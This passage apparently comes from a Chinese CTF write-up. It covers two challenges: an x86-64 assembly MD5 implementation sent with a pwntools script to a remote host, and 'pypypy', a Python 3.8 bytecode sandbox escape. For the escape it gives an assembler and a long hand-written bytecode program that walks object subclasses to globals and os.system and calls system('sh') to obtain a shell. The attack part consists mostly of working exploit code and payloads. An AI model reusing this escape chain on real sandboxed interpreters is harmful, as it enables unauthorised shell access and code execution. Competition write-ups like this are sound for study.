file_f.write(template.format(k[i], flag * 4, r[i]))
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
file_f.write("mov edi, ebx ; stage 2\n")
file_f.write("and edi, edx\n")
file_f.write("mov esi, edx\n")
file_f.write("not esi\n")
file_f.write("and esi, ecx\n")
file_f.write("or edi, esi\n")
file_f.write(template.format(k[i], flag * 4, r[i]))
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
file_f.write("mov edi, ebx ; stage 3\n")
file_f.write("xor edi, ecx\n")
file_f.write("xor edi, edx\n")
file_f.write(template.format(k[i], flag * 4, r[i]))
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16
file_f.write("mov edi, edx ; stage 4\n")
file_f.write("not edi\n")
file_f.write("or edi, ebx\n")
file_f.write("xor edi, ecx\n")
这就可以生成第1到63次循环的代码,第0次循环的代码可以写死,所以不写在这段逻辑里。最后生成的第一版asm文件有800多inscount。用llvm优化后可以直接干到530行,基本上这题就快结束了。
最后就是如何达到退出条件这里,解决办法是往指令前加\x66。
https://stackoverflow.com/questions/14698350/x86-64-asm-maximum-bytes-for-an-instruction/18972014
完整代码:
;
global _start
section .text
_start:
mov rsp, 0xbabecafe000
mov rax, 0x80
mov [rsp + 0x32], rax
mov rax, 0x190
mov [rsp + 0x38], rax
mov r14d, [rsp-0x20+0x20]
mov ebx, [rsp-0x20+0x24]
mov edi, [rsp-0x20+0x28]
mov esi, [rsp-0x20+0x2C]
lea edx, [r14 - 0x28955B89]
mov ebp, [rsp-0x20+0x34]
rol edx, 0x7
mov r13d, [rsp-0x20+0x3C]
sub edx, 0x10325477
mov r11d, [rsp-0x20+0x54]
mov eax, edx
mov ecx, edx
mov r8d, edx
mov r12d, [rsp-0x20+0x58]
not eax
and ecx, 0xEFCDAB89
and eax, 0x98BADCFE
or eax, ecx
lea eax, [rbx + rax - 0x705F434]
mov ebx, [rsp-0x20+0x30]
rol eax, 0xC
add eax, edx
mov ecx, eax
and r8d, eax
not ecx
and ecx, 0xEFCDAB89
or ecx, r8d
lea r10d, [rdi + rcx - 0x4324B227]
mov ecx, edx
mov edi, [rsp-0x20+0x40]
ror r10d, 0xF
xor ecx, eax
add r10d, eax
and ecx, r10d
mov r8d, r10d
xor ecx, edx
lea r9d, [rsi + rcx - 0x4E748589]
mov ecx, eax
lea edx, [rdx + rbx - 0xA83F051]
ror r9d, 0xA
xor ecx, r10d
mov ebx, [rsp-0x20+0x44]
add r9d, r10d
and ecx, r9d
xor r8d, r9d
xor ecx, eax
lea eax, [rax + rbp + 0x4787C62A]
add ecx, edx
mov edx, r9d
rol ecx, 0x7
add ecx, r9d
and r8d, ecx
xor edx, ecx
xor r8d, r10d
add r8d, eax
mov eax, [rsp-0x20+0x38]
rol r8d, 0xC
add r8d, ecx
and edx, r8d
lea eax, [rax + r10 - 0x57CFB9ED]
xor edx, r9d
mov r10d, [rsp-0x20+0x4C]
lea r9d, [r13 + r9 - 0x2B96AFF]
add edx, eax
mov eax, ecx
ror edx, 0xF
xor eax, r8d
add edx, r8d
and eax, edx
xor eax, ecx
lea ecx, [rdi + rcx + 0x698098D8]
add eax, r9d
mov r9d, r8d
mov edi, [rsp-0x20+0x48]
ror eax, 0xA
xor r9d, edx
add eax, edx
and r9d, eax
xor r9d, r8d
lea r8d, [rbx + r8 - 0x74BB0851]
add r9d, ecx
mov ecx, edx
mov ebx, [rsp-0x20+0x5C]
rol r9d, 0x7
xor ecx, eax
add r9d, eax
and ecx, r9d
xor ecx, edx
lea edx, [rdi + rdx - 0xA44F]
add ecx, r8d
mov r8d, eax
mov edi, [rsp-0x20+0x50]
rol ecx, 0xC
xor r8d, r9d
add ecx, r9d
and r8d, ecx
xor r8d, eax
lea eax, [r10 + rax - 0x76A32842]
add r8d, edx
mov edx, r9d
ror r8d, 0xF
xor edx, ecx
add r8d, ecx
and edx, r8d
mov r15d, r8d
xor edx, r9d
lea r9d, [rdi + r9 + 0x6B901122]
add edx, eax
mov eax, ecx
ror edx, 0xA
add edx, r8d
xor eax, r8d
and eax, edx
xor r15d, edx
xor eax, ecx
lea ecx, [r11 + rcx - 0x2678E6D]
add eax, r9d
rol eax, 0x7
add eax, edx
and r15d, eax
xor r15d, r8d
lea r8d, [r12 + r8 - 0x5986BC72]
add r15d, ecx
mov ecx, edx
rol r15d, 0xC
xor ecx, eax
add r15d, eax
and ecx, r15d
xor ecx, edx
lea edx, [rbx + rdx + 0x49B40821]
add ecx, r8d
mov r8d, eax
ror ecx, 0xF
xor r8d, r15d
add ecx, r15d
and r8d, ecx
mov r9d, ecx
xor r8d, eax
add r8d, edx
mov edx, [rsp-0x20+0x24]
ror r8d, 0xA
add r8d, ecx
xor r9d, r8d
lea eax, [rdx + rax - 0x9E1DA9E]
and r9d, r15d
mov edx, r8d
xor r9d, ecx
add r9d, eax
mov eax, [rsp-0x20+0x38]
rol r9d, 0x5
add r9d, r8d
xor edx, r9d
lea eax, [rax + r15 - 0x3FBF4CC0]
and edx, ecx
mov r15d, [rsp-0x20+0x48]
lea ecx, [r10 + rcx + 0x265E5A51]
xor edx, r8d
add edx, eax
mov eax, r9d
rol edx, 0x9
add edx, r9d
xor eax, edx
and eax, r8d
lea r8d, [r14 + r8 - 0x16493856]
xor eax, r9d
add eax, ecx
mov ecx, edx
rol eax, 0xE
add eax, edx
xor ecx, eax
and ecx, r9d
lea r9d, [rbp + r9 - 0x29D0EFA3]
xor ecx, edx
add ecx, r8d
mov r8d, eax
ror ecx, 0xC
add ecx, eax
xor r8d, ecx
and r8d, edx
lea edx, [r15 + rdx + 0x2441453]
xor r8d, eax
mov r15d, [rsp-0x20+0x30]
add r8d, r9d
mov r9d, ecx
rol r8d, 0x5
add r8d, ecx
xor r9d, r8d
and r9d, eax
lea eax, [rbx + rax - 0x275E197F]
xor r9d, ecx
add r9d, edx
mov edx, r8d
rol r9d, 0x9
add r9d, r8d
xor edx, r9d
and edx, ecx
lea ecx, [r15 + rcx - 0x182C0438]
xor edx, r8d
mov r15d, [rsp-0x20+0x44]
add edx, eax
mov eax, r9d
rol edx, 0xE
add edx, r9d
xor eax, edx
and eax, r8d
lea r8d, [r15 + r8 + 0x21E1CDE6]
xor eax, r9d
mov r15d, [rsp-0x20+0x40]
add eax, ecx
mov ecx, edx
ror eax, 0xC
add eax, edx
xor ecx, eax
and ecx, r9d
lea r9d, [r12 + r9 - 0x3CC8F82A]
xor ecx, edx
add ecx, r8d
mov r8d, eax
rol ecx, 0x5
add ecx, eax
xor r8d, ecx
and r8d, edx
lea edx, [rsi + rdx - 0xB2AF279]
xor r8d, eax
add r8d, r9d
mov r9d, ecx
rol r8d, 0x9
add r8d, ecx
xor r9d, r8d
and r9d, eax
lea eax, [r15 + rax + 0x455A14ED]
xor r9d, ecx
mov r15d, [rsp-0x20+0x28]
add r9d, edx
mov edx, r8d
rol r9d, 0xE
add r9d, r8d
xor edx, r9d
and edx, ecx
lea ecx, [r11 + rcx - 0x561C16FB]
xor edx, r8d
add edx, eax
mov eax, r9d
ror edx, 0xC
add edx, r9d
xor eax, edx
and eax, r8d
lea r8d, [r15 + r8 - 0x3105C08]
xor eax, r9d
add eax, ecx
mov ecx, edx
rol eax, 0x5
add eax, edx
xor ecx, eax
and ecx, r9d
lea r9d, [r13 + r9 + 0x676F02D9]
xor ecx, edx
add ecx, r8d
mov r8d, eax
rol ecx, 0x9
add ecx, eax
xor r8d, ecx
mov r15d, ecx
and r8d, edx
lea edx, [rdi + rdx - 0x72D5B376]
xor r8d, eax
add r8d, r9d
rol r8d, 0xE
add r8d, ecx
xor r15d, r8d
mov r9d, r15d
and r9d, eax
lea eax, [rbp + rax - 0x5C6BE]
xor r9d, ecx
add r9d, edx
mov edx, r8d
ror r9d, 0xC
add r9d, r8d
xor r15d, r9d
xor edx, r9d
add r15d, eax
mov eax, [rsp-0x20+0x40]
rol r15d, 0x4
add r15d, r9d
xor edx, r15d
lea eax, [rax + rcx - 0x788E097F]
mov ecx, r9d
add edx, eax
lea eax, [r10 + r8 + 0x6D9D6122]
rol edx, 0xB
xor ecx, r15d
lea r8d, [r12 + r9 - 0x21AC7F4]
add edx, r15d
mov r9d, [rsp-0x20+0x24]
xor ecx, edx
add ecx, eax
mov eax, r15d
rol ecx, 0x10
xor eax, edx
lea r9d, [r9 + r15 - 0x5B4115BC]
add ecx, edx
mov r15d, [rsp-0x20+0x30]
xor eax, ecx
add eax, r8d
mov r8d, edx
ror eax, 0x9
xor r8d, ecx
lea edx, [r15 + rdx + 0x4BDECFA9]
add eax, ecx
mov r15d, [rsp-0x20+0x48]
xor r8d, eax
add r8d, r9d
mov r9d, ecx
lea ecx, [r13 + rcx - 0x944B4A0]
rol r8d, 0x4
xor r9d, eax
add r8d, eax
xor r9d, r8d
add r9d, edx
mov edx, eax
lea eax, [r15 + rax - 0x41404390]
rol r9d, 0xB
xor edx, r8d
mov r15d, [rsp-0x20+0x38]
add r9d, r8d
xor edx, r9d
add edx, ecx
mov ecx, r8d
lea r8d, [r11 + r8 + 0x289B7EC6]
rol edx, 0x10
xor ecx, r9d
add edx, r9d
xor ecx, edx
add ecx, eax
mov eax, r9d
lea r9d, [r14 + r9 - 0x155ED806]
ror ecx, 0x9
add ecx, edx
xor eax, edx
xor eax, ecx
add r8d, eax
mov eax, edx
lea edx, [rsi + rdx - 0x2B10CF7B]
rol r8d, 0x4
xor eax, ecx
add r8d, ecx
xor eax, r8d
add eax, r9d
mov r9d, ecx
lea ecx, [r15 + rcx + 0x4881D05]
rol eax, 0xB
xor r9d, r8d
mov r15d, [rsp-0x20+0x44]
add eax, r8d
xor r9d, eax
add r9d, edx
mov edx, r8d
lea r8d, [r15 + r8 - 0x262B2FC7]
rol r9d, 0x10
xor edx, eax
mov r15d, [rsp-0x20+0x28]
add r9d, eax
xor edx, r9d
add ecx, edx
mov edx, eax
lea eax, [rdi + rax - 0x1924661B]
ror ecx, 0x9
xor edx, r9d
add ecx, r9d
xor edx, ecx
add edx, r8d
mov r8d, r9d
lea r9d, [rbx + r9 + 0x1FA27CF8]
rol edx, 0x4
xor r8d, ecx
add edx, ecx
xor r8d, edx
add r8d, eax
mov eax, ecx
lea ecx, [r15 + rcx - 0x3B53A99B]
rol r8d, 0xB
xor eax, edx
add r8d, edx
xor eax, r8d
add r9d, eax
mov eax, edx
lea edx, [r14 + rdx - 0xBD6DDBC]
rol r9d, 0x10
xor eax, r8d
add r9d, r8d
xor eax, r9d
add ecx, eax
mov eax, r8d
lea r8d, [r13 + r8 + 0x432AFF97]
ror ecx, 0x9
not eax
add ecx, r9d
or eax, ecx
xor eax, r9d
add eax, edx
mov edx, r9d
lea r9d, [r12 + r9 - 0x546BDC59]
rol eax, 0x6
not edx
add eax, ecx
or edx, eax
xor edx, ecx
add edx, r8d
mov r8d, ecx
lea ecx, [rbp + rcx - 0x36C5FC7]
rol edx, 0xA
not r8d
add edx, eax
or r8d, edx
xor r8d, eax
add r8d, r9d
mov r9d, eax
lea eax, [rdi + rax + 0x655B59C3]
rol r8d, 0xF
not r9d
mov edi, [rsp-0x20+0x48]
add r8d, edx
or r9d, r8d
xor r9d, edx
add r9d, ecx
mov ecx, edx
lea edx, [rsi + rdx - 0x70F3336E]
ror r9d, 0xB
not ecx
add r9d, r8d
or ecx, r9d
xor ecx, r8d
add ecx, eax
mov eax, r8d
lea r8d, [rdi + r8 - 0x100B83]
rol ecx, 0x6
not eax
mov edi, [rsp-0x20+0x24]
add ecx, r9d
or eax, ecx
mov esi, ecx
xor eax, r9d
not esi
add eax, edx
mov edx, r9d
rol eax, 0xA
not edx
add eax, ecx
or edx, eax
xor edx, ecx
add r8d, edx
lea edx, [rdi + r9 - 0x7A7BA22F]
rol r8d, 0xF
mov edi, [rsp-0x20+0x40]
add r8d, eax
or esi, r8d
xor esi, eax
lea ecx, [rdi + rcx + 0x6FA87E4F]
add esi, edx
mov edx, eax
lea eax, [rbx + rax - 0x1D31920]
ror esi, 0xB
not edx
mov ebx, [rsp-0x20+0x30]
add esi, r8d
or edx, esi
mov r9d, esi
xor edx, r8d
not r9d
add ecx, edx
mov edx, r8d
rol ecx, 0x6
not edx
add ecx, esi
or edx, ecx
xor edx, esi
add edx, eax
mov eax, [rsp-0x20+0x38]
rol edx, 0xA
add edx, ecx
or r9d, edx
lea eax, [rax + r8 - 0x5CFEBCEC]
xor r9d, ecx
mov r8d, ecx
lea ecx, [rbx + rcx - 0x8AC817E]
add r9d, eax
not r8d
mov ebx, [rsp-0x20+0x44]
lea eax, [r11 + rsi + 0x4E0811A1]
rol r9d, 0xF
add r9d, edx
or r8d, r9d
xor r8d, edx
add r8d, eax
mov eax, edx
lea edx, [r10 + rdx - 0x42C50DCB]
ror r8d, 0xB
not eax
add r8d, r9d
or eax, r8d
xor eax, r9d
add eax, ecx
mov ecx, r9d
lea r9d, [r15 + r9 + 0x2AD7D2BB]
rol eax, 0x6
not ecx
add eax, r8d
or ecx, eax
xor ecx, r8d
add ecx, edx
mov edx, r8d
lea r8d, [rbx + r8 - 0x14792C6F]
rol ecx, 0xA
not edx
add ecx, eax
or edx, ecx
xor edx, eax
add edx, r9d
lea r9d, [rax + 0x67452301]
rol edx, 0xF
not eax
add edx, ecx
or eax, edx
xor eax, ecx
add ecx, 0x10325476
add eax, r8d
ror eax, 0xB
lea eax, [rdx + rax - 0x10325477]
sub edx, 0x67452302
mov [rsp+0x800], r9d
mov [rsp+0x804], eax
mov [rsp+0x808], edx
mov [rsp+0x80c], ecx
from pwn import *
code = open("run2.o", "r").read()
r = remote("111.186.59.29", 10086)
r.send("\x66" * 0x1880 + "\x89\xe5" + code[0x180:0x180 + 0x777 + 7] + "\x0f\x05")
r.interactive()
pypypy
python 字节码手写shellcode,比之前出的题限制更多,没有builtins,即无法使用LOAD_BUILD_CLASS来获得一个<built-in function __build_class__>
(LOAD_BUILD_CLASS本质为 __builtins__.__build_class__
),长度限制2000,即1000个字节,由于python一个opcode不管有没有参数后面总是跟一个字节,即500个opcode
#help(code)
| code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,
| flags, codestring, constants, names, varnames, filename, name,
| firstlineno, lnotab[, freevars[, cellvars]])
co_argcount: number of arguments (not including * or ** args)
co_code: string of raw compiled bytecode
co_consts: tuple of constants used in the bytecode
co_filename: name of file in which this code object was created
co_firstlineno: number of first line in Python source code
co_flags: bitmap: 1=optimized | 2=newlocals | 4=*arg | 8=**arg
co_lnotab: encoded mapping of line numbers to bytecode indices
co_name: name with which this code object was defined
co_names: tuple of names of local variables
co_nlocals: number of local variables
co_stacksize: virtual machine stack space required
co_varnames: tuple of names of arguments and local variables
可控的参数有codestring即字节码,names即本地变量的名称
#起一个对应py版本的docker
docker run --rm -it python:3.8.11 bash
docker cp ./source.py docker_name:/root/
#in docker: apt update && apt install -y vim
cpython/opcode.py at 3.8 · python/cpython (github.com)
dis — Disassembler for Python bytecode — Python 3.9.6 documentation
技巧:
1 有四个变量可以用,两个局部变量,两个全局变量,需要合理使用
2 预先把数字放到列表里,用UNPACK_EX配合EXTENDED_ARG来造数字(但是这样比起当场造数字,会非常污染栈)
3 用__dict__来把对象变成dict,他的key是字符串,把dict变成iter去遍历他,就不用造字符串能拿到字符串(但不是所有的属性都在__dict__里,比如__globals__就不在__init__的__dict__里)
4 用BINARY_SUBSCR来从dict里取东西(即dictObj[sth])
5 用字符串和数字去截取字符串,构造__globals__和sh,其他都可以用3的方法来得到,不需要手动构造字符串
6 拿到<slot wrapper '__getattribute__' of 'object' objects>代替getattr来用
7 远程环境会爆内存,用BUILD_LIST吃掉一部分栈上生成的多余的数字
8 可以用UNPACK_EX直接从字符串末尾截取字符串,省变量,但是是倒序的
9 用FORMAT_VALUE把任何对象拍扁成字符串用来截取字符,构造字符串
#compiler.py
import opcode
import sys
def def_op(name, op):
opcode.opname[op] = name
opcode.opmap[name] = op
def_op('ROT_FOUR', 6)
datas = open(sys.argv[1],encoding="utf-8").readlines()
output = ""
for line in datas:
if line.strip().startswith("#") or line.strip() == "":
continue
line = line.strip()
data = line.split(",")
line_opcode = data[0]
if(len(data)>1):
line_arg = int(data[1])
if line_opcode == "MAKE_NUMBER":
assert line_arg <= 60 and line_arg > 0;
line_compiled = "650090%02x5e000100" % (60 - line_arg + 1)
else:
line_compiled = "%02x%02x" % (opcode.opmap[line_opcode],line_arg)
else:
line_compiled = "%02x" % (opcode.opmap[line_opcode])
output += line_compiled
print("%s -> %s" % (line,line_compiled))
print(len(output))
print()
print(output)
#source.asm
#setup numbers
BUILD_MAP,00
BUILD_MAP,00
COMPARE_OP,2
DUP_TOP,0
BINARY_FLOOR_DIVIDE,0,#true//true=1
STORE_NAME,0
LOAD_NAME,0,#1
DUP_TOP,0,#1 1
LOAD_NAME,0,#1 1 1
INPLACE_ADD,0,#1 2
DUP_TOP,0,#1 2 2
LOAD_NAME,0,#1 2 2 1
INPLACE_ADD,0,#1 2 3
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
DUP_TOP,0
LOAD_NAME,0
INPLACE_ADD,0
BUILD_LIST,60
STORE_NAME,0
##
#step 1 : get <class object>
BUILD_MAP,00
LOAD_ATTR,00
LOAD_ATTR,00
LOAD_ATTR,01
DUP_TOP,0,#复制一个之后要用
GET_ITER,0
FOR_ITER,0
POP_TOP,0,#需要消耗掉__next__产生的值
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0,#这里拿到'mro'
STORE_GLOBAL,0,#swap
FOR_ITER,0,#get the __subclasses__
STORE_GLOBAL,1,#save for later
POP_TOP,0,#销毁iterator
LOAD_GLOBAL,0
BINARY_SUBSCR,0,#TOS = TOS1[TOS] #<method 'mro' of 'type' objects>
BUILD_MAP,00
LOAD_ATTR,00
CALL_FUNCTION,1,#[<class 'dict'>, <class 'object'>]
#造一个True #冷知识:a[True] == a[1]
BUILD_MAP,00
BUILD_MAP,00
COMPARE_OP,2,#==
BINARY_SUBSCR,0,#已经拿到<class 'object'>
STORE_GLOBAL,0,#save it
#should print <class 'object'>
#LOAD_GLOBAL,0, #debug
#PRINT_EXPR,0, #debug
#step 2 : get '__getattribute__'
LOAD_GLOBAL,0
#DUP_TOP,0
DUP_TOP,0
DUP_TOP,0
LOAD_ATTR,01
GET_ITER,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0,#此时拿到'__getattribute__'
#step 3: get list of subclasses
ROT_TWO,0
POP_TOP,0
ROT_TWO,0,#此时 栈上 有 几个object类,一个'__getattribute__',一个object类
LOAD_ATTR,1
ROT_TWO,1
BINARY_SUBSCR,0,#此时 栈上 有 四个 object类 和 一个 <slot wrapper '__getattribute__' of 'object' objects>
STORE_NAME,1,#save it
LOAD_NAME,1
LOAD_GLOBAL,0
LOAD_GLOBAL,1
CALL_FUNCTION,2
#now: NAMES0:numbers NAMES1:func getattribute GLOBALS0 class Object GLOBALS1 '__subclasses__'
CALL_FUNCTION,0,#get the [...subclasses...]
STORE_GLOBAL,1
#should print [list subclasses]
#LOAD_GLOBAL,1, #debug
#PRINT_EXPR,0, #debug
#step 4: get a class that have os in them
#since input is limited,we don't want to do __builtins__.eval, that is no good
#we want <class 'pathlib._Flavour'>
##local number is bigger than remote
#local=189,remote=187
#MAKE_NUMBER,27
#DUP_TOP,0
#DUP_TOP,0
#DUP_TOP,0
#DUP_TOP,0
#DUP_TOP,0
#DUP_TOP,0
#INPLACE_ADD,0
#INPLACE_ADD,0
#INPLACE_ADD,0
#INPLACE_ADD,0
#INPLACE_ADD,0
#INPLACE_ADD,0
MAKE_NUMBER,31
DUP_TOP,0
DUP_TOP,0
DUP_TOP,0
DUP_TOP,0
DUP_TOP,0
INPLACE_ADD,0
INPLACE_ADD,0
INPLACE_ADD,0
INPLACE_ADD,0
INPLACE_ADD,0
BUILD_LIST,0
BUILD_LIST,0
COMPARE_OP,2
INPLACE_ADD,0
DUP_TOP,0,#debug
PRINT_EXPR,0,#debug
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0,#<class 'pathlib._Flavour'>
STORE_GLOBAL,0
#should print <class 'pathlib._Flavour'>
LOAD_GLOBAL,0,#debug
PRINT_EXPR,0,#debug
#step 5: get__init__ of class, and then get __init__.__globals__
LOAD_GLOBAL,0
LOAD_ATTR,1
GET_ITER,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0,#get '__init__' here
LOAD_GLOBAL,0
LOAD_ATTR,1
ROT_TWO,0
BINARY_SUBSCR,0
STORE_GLOBAL,0
#now: NAMES0:numbers NAMES1: func __getattribute__ GLOBALS0:the __init func GLOBALS1:[subclasses] list
LOAD_NAME,1
FORMAT_VALUE,0,#"<slot wrapper '__getattribute__' of 'object' objects>"
STORE_GLOBAL,1
#should print "<slot wrapper '__getattribute__' of 'object' objects>"
#LOAD_GLOBAL,1,#debug
#PRINT_EXPR,0,#debug
#__slabolg__
#[15]*2 [17] [2] [3] [25] [8] [2] [1] [15*2]
#__
MAKE_NUMBER,15
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
DUP_TOP,0
BUILD_STRING,3
STORE_GLOBAL,1
#s
MAKE_NUMBER,1
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
LOAD_GLOBAL,1,#debug
PRINT_EXPR,0,#debug
#l
MAKE_NUMBER,2
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
#a
MAKE_NUMBER,8
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
#b
MAKE_NUMBER,25
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
LOAD_GLOBAL,1,#debug
PRINT_EXPR,0,#debug
###
#跑远程会爆内存,别问我为什么。。。
#数字造的太多了
#用BUILD_LIST一次性清空200的栈,否则下面跑不下去
BUILD_LIST,200
###
#o
MAKE_NUMBER,3
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
#l
MAKE_NUMBER,2
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
#g
MAKE_NUMBER,17
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
BUILD_STRING,2
STORE_GLOBAL,1
LOAD_GLOBAL,1,#debug
PRINT_EXPR,0,#debug
#__
MAKE_NUMBER,15
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,1
ROT_TWO,0
DUP_TOP,0
BUILD_STRING,3
STORE_GLOBAL,1
LOAD_GLOBAL,1,#debug
PRINT_EXPR,0,#debug
#slice it "<slot wrapper '__getattribute__' of 'object' objects>__globals__"
#slice it
LOAD_GLOBAL,1
EXTENDED_ARG,11
UNPACK_EX,0
POP_TOP,1
BUILD_STRING,11
DUP_TOP,0,#debug
PRINT_EXPR,0,#debug
#STORE_GLOBAL,1,#__globals__
LOAD_GLOBAL,0
LOAD_NAME,1
ROT_THREE,1
ROT_TWO,1
CALL_FUNCTION,2,#the __globals__ dict
#step 6: get os, and get the 'ntpath' by the way because we need a h to call os.system('sh')
#then get os.system, and build 'sh' str, call os.system('sh')
STORE_GLOBAL,1
LOAD_GLOBAL,1
GET_ITER,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0
POP_TOP,0
FOR_ITER,0,'ntpath'
STORE_GLOBAL,0,#we need a h
FOR_ITER,0,#'os' here
LOAD_GLOBAL,1
ROT_TWO,0
BINARY_SUBSCR,0
STORE_GLOBAL,1
LOAD_GLOBAL,1,#debug
PRINT_EXPR,1,#debug
#get the 'system' str
MAKE_NUMBER,45
LOAD_GLOBAL,1
LOAD_ATTR,1
EXTENDED_ARG,0
UNPACK_EX,0
ROT_TWO,0
BINARY_SUBSCR,0
#get the sys func
LOAD_GLOBAL,1
LOAD_NAME,1
ROT_THREE,0
ROT_TWO,0
CALL_FUNCTION,2,#<built-in function system>
STORE_GLOBAL,1
#get sh str
LOAD_GLOBAL,1
FORMAT_VALUE,0
LOAD_GLOBAL,0
FORMAT_VALUE,0
BUILD_STRING,2,#'<built-in function system>ntpath'
STORE_GLOBAL,0
#s
MAKE_NUMBER,19
LOAD_GLOBAL,0
ROT_TWO,0
BINARY_SUBSCR,0
LOAD_GLOBAL,0
ROT_TWO,0
BUILD_STRING,2
#slice it
EXTENDED_ARG,2
UNPACK_EX,0
POP_TOP,1
BUILD_STRING,2
LOAD_GLOBAL,1
ROT_TWO,1
LOAD_GLOBAL,1, #debug
PRINT_EXPR,0, #debug
CALL_FUNCTION,1
PRINT_EXPR,0
PRINT_EXPR,0
PRINT_EXPR,0
PRINT_EXPR,0
PRINT_EXPR,0
PRINT_EXPR,0
RETURN_VALUE,00
flag{hope_you_enjoy_the_gifts_as_well_as_the_chall}
爆内存还会出现这个错,不思其解
Singer
A6-D#6
G#6
G6
G6
G#6
A6-D#6
C6-G5
F#5
